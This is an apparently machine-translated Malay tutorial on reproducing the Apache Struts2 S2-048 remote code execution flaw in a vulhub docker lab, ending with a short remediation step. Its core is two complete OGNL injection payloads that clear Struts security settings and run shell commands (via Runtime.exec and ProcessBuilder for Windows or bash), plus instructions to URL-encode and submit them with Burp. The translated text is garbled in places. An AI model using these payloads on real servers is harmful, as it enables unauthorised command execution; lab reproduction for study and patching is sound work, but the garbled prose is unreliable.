Rangka kerja Struts2 ialah seni bina aplikasi web sumber terbuka untuk membangunkan aplikasi web Java EE . Ia menggunakan dan memanjangkan Java Servlet API dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC.
Siri Apache Struts2 2.3.x mempunyai pemalam struts2-struts1-plugin didayakan dan direktori struts2-showcase wujud kerentanan ialah apabila ActionMessage menerima pelanggan data parameter Boleh dikawal, pemprosesan yang tidak betul selepas penyambungan dan penghantaran data seterusnya membawa kepada pelaksanaan kod arbitrari
Struts2 didayakan dalam Apache Struts 2.3.x series -struts1-plugin versi pemalam.
1 Lebih rumit untuk membina Apache Struts2 sendirian ini dibina menggunakan persekitaran docker dalam vulhub.
Alamat muat turun: https://github.com/vulhub/vulhub
2 Selepas memuat turun, nyahzip dan masukkan direktori s2-048, mulakan persekitaran kerentanan
cd cd vulhub -master/struts2/s2-048/ //Masukkan direktori
docker-compose up -d //Mulakan julat penangkapan
3. Gunakan docker ps untuk menyemak sama ada permulaan berjaya
4 dalam penyemak imbas dan lihat persekitaran halaman berikut Pembinaan selesai
1 Masukkan pautan berikut dalam penyemak imbas untuk mengakses halaman kerentanan
http://192.168.3.160:8080/integration/saveGangster.action
2 Masukkan ${1+1} dalam bentuk pertama "Nama Gangster", Masukkan apa sahaja yang anda mahu di bawah dan klik hantar untuk melihat ungkapan OGNL yang dilaksanakan
2. Letakkan ${1+1 at Gangster Name" }Ubah suai penyata muatan yang dilaksanakan oleh perintah berikut
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context[' com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil .getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils @toString(@java.lang.Runtime@ getRuntime().exec('id').getInputStream())).(#q)}
3. Anda juga boleh Gunakan Burp packet capture untuk mengubah suai penyata muatan yang dilaksanakan oleh arahan
Nota: Muatan perlu menggunakan pengekodan URL
%{( #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?( #_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=# container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess (#dm)))).(#cmd='id') .(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))) .(#cmds=(#iswin?{'cmd.exe', '/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java .lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream( true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse(). getOutputStream())).(@org.apache.commons.io. IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
4. Ia boleh dilaksanakan menggunakan skrip automatik atau alatan grafik, dan tidak ditunjukkan di sini.
Alat boleh dicari dan dimuat turun di GitHub
1
2. Mengikut situasi perniagaan, lumpuhkan dan tutup (padam) pakej struts-2.3.xappsstruts2-showcase.warAtas ialah kandungan terperinci Bagaimana untuk menghasilkan semula kelemahan pelaksanaan kod jauh Apache Struts2--048. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!